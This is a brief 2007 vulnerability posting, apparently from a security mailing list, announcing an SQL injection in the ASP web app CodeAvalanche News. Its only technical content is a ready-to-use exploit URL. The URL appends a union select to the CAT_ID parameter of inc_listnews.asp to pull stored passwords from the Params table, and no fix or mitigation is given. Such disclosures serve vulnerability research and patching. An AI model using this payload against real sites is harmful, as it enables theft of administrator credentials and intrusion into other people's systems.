Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Aktueldownload Haber scripti (id) Remote SQL Injection Vulnerability

nabopoll 1.2 Remote Unprotected Admin Section Vulnerability

nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability

ZebraFeeds 1.0 (zf_path) Remote File Include Vulnerabilities

From:	beks <beks_(at)_bsdmail.org>
Date:	15.02.2007
Subject:	CodeAvalanche News SQL Injection

#CodeAvalanche News SQL Injection#

Software: CodeAvalanche News

Download: http://www.aspindir.com/indir.asp?id=3315

Risk: High

Found by: beks

http://target/[path]/inc_listnews.asp?CAT_ID=17+union+select+0,0,0,0,
Password+from+Params